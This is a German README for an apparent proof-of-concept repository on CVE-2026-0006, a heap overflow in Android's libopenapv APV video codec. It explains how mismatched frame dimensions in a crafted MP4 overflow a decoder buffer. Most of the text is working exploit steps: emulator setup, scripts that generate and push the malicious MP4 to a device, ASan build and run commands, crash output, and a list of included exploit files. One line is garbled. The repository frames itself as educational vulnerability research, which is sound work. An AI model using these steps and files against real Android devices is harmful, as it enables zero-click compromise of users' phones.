
CVE-2026-0006: Heap-Pufferüberlauf PoC für libopenapv (Android APV Codec) – CVSS 9.8
CVSS 9.8 Kritisch | Aktiv in freier Wildbahn ausgenutzt | Gepatched im März 2026
Hinweis: Wir haben diese Schwachstelle nicht entdeckt. Die Anerkennung für das Finden und verantwortungsvolle Melden von CVE-2026-0006 gebührt den ursprünglichen Forschern. Dieses Repository enthält unsere unabhängige Patch-Analyse, Reproduktion und pädagogische Aufarbeitung, um der Sicherheitscommunity zu helfen, die Fehlerklasse und die beteiligten Ausnutzungstechniken zu verstehen.

CVE-2026-0006 ist ein Heap Buffer Overflow in libopenapv, Samsungs Open-Source-APV-Codec (Advanced Professional Video), der als Mainline-Modul in Android 16 integriert ist.
Die Schwachstelle ermöglicht eine Zero-Click-Fernausführung von Code über eine präparierte MP4-Datei. Das Medienframework von Android verarbeitet Videodateien automatisch für Vorschaubilder und Vorschauen – keine Benutzerinteraktion erforderlich.
oapvd_info() und oapvd_decode() lesen die Frame-Abmessungen aus unterschiedlichen PBUs (Payload Byte Units). Ein Angreifer injiziert eine AU_INFO-PBU (Typ 65), die kleine Abmessungen (16x16) angibt, während die eigentliche FRAME-PBU große Abmessungen (64x64) kodiert. Das Framework allokiert Puffer basierend auf der Ausgabe von oapvd_info(), dann schreibt oapvd_decode() dekorierte Pixel in den Abmessungen der FRAME-PBU – und überläuft den Puffer um 14.848 Bytes.
Sie benötigen einen Android 16-Emulator mit einem Sicherheitspatch-Level vor März 2026 (der APV-Decoder ist in älteren Android-Versionen nicht vorhanden).
# Installieren Sie das erforderliche Systemabbild (Android 16 / API 36, ARM64)
sdkmanager "system-images;android-36.1;google_apis;arm64-v8a"
# AVD erstellen
avdmanager create avd \
-n android16_apv \
-k "system-images;android-36.1;google_apis;arm64-v8a" \
-d pixel_6
# Emulator starten
emulator -avd android16_apv -no-snapshot-load
# Prüfen, ob das APV-Codec-Modul existiert
adb shell ls -la /apex/com.android.media.swcodec/lib64/libcodec2_soft_apvdec.so
# Sicherheitspatch-Level prüfen (muss vor 2026-03-01 liegen)
adb shell getprop ro.build.version.security_patch
Wenn der Sicherheitspatch 2026-03-01 oder später ist, wurde die Schwachstelle behoben und der Exploit wird nicht funktionieren. Verwenden Sie ein früheres Systemabbild oder einen Snapshot.
# Erfordert: adb mit Android 16-Gerät/Emulator verbunden (Pre-März 2026 Patch)
./deploy_exploit_mp4.sh
Dies erstellt die Exploit-MP4, überträgt sie auf das Gerät, öffnet sie und erfasst die Absturzausgabe. Der Absturz wird möglicherweise nicht beim ersten Versuch ausgelöst – das Skript wiederholt den Vorgang automatisch bis zu 3 Mal.
# Erfordert: valid.apv und apv-mp4/valid_ffmpeg.mp4 (beide enthalten)
python3 generate_overflow_mp4.py
# Erfordert: Android NDK r29+, libopenapv v0.1.11.3 Quellen
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so
# 1. libopenapv mit ASan für ARM64 bauen
git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1
mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
-DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)
# 2. MP4-ASan-PoC cross-kompilieren
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
-I../inc -I./include \
poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan
# 3. Aufs Gerät übertragen und ausführen
adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push apv-mp4/overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp \
ASAN_OPTIONS=detect_leaks=0 \
/data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"
==17610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0
0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)
fb6a5eab): ssize > 4-Validierung und 'aPv1'-Signaturprüfungoapv_param.c-Modul für Dimensions-/Tile-GrößenvalidierungDiese Schwachstelle wurde von den ursprünglichen Sicherheitsforschern entdeckt und verantwortungsvoll gemeldet. Wir haben diese CVE nicht gefunden. Die Anerkennung für die Entdeckung gebührt ihnen.
Dieses Repository repräsentiert die unabhängige Patch-Analyse und Reproduktion von Mobile Hacking Lab – erstellt zu Bildungszwecken, um der Sicherheitscommunity zu helfen, aus realen Schwachstellen zu lernen.
Diese Forschung wurde zu Bildungszwecken an isolierten Test-Builds der anfälligen Bibliothek durchgeführt. Alle Tests wurden gegen lokal erstellte Binärdateien des Open-Source-Projekts libopenapv durchgeführt. Es wurden keine Produktionsgeräte oder -systeme angegriffen.
| Datei | Beschreibung |
|---|
generate_overflow_mp4.py | Erstellt die Exploit-MP4 mit AU_INFO-Abmessungsabweichung |
deploy_exploit_mp4.sh | Ein-Schritt: generieren, auf Android-Gerät übertragen, öffnen und Absturz erfassen |
poc_mp4_asan.c | ASan-PoC, das den C2SoftApvDec-Dekodierungspfad nachbildet |
poc_android_oob_write.c | Eigenständiger ARM64-PoC mit Guard-Region-Überlauferkennung |
valid.apv | Gültiger 337-Byte-APV-Bitstream (64x64, YUV422, 10-Bit) |
apv-mp4/valid_ffmpeg.mp4 | Basis-MP4-Container (von ffmpeg erzeugt) |
apv-mp4/overflow_auinfo.mp4 | Vorgefertigte Exploit-MP4 (1.178 Bytes) |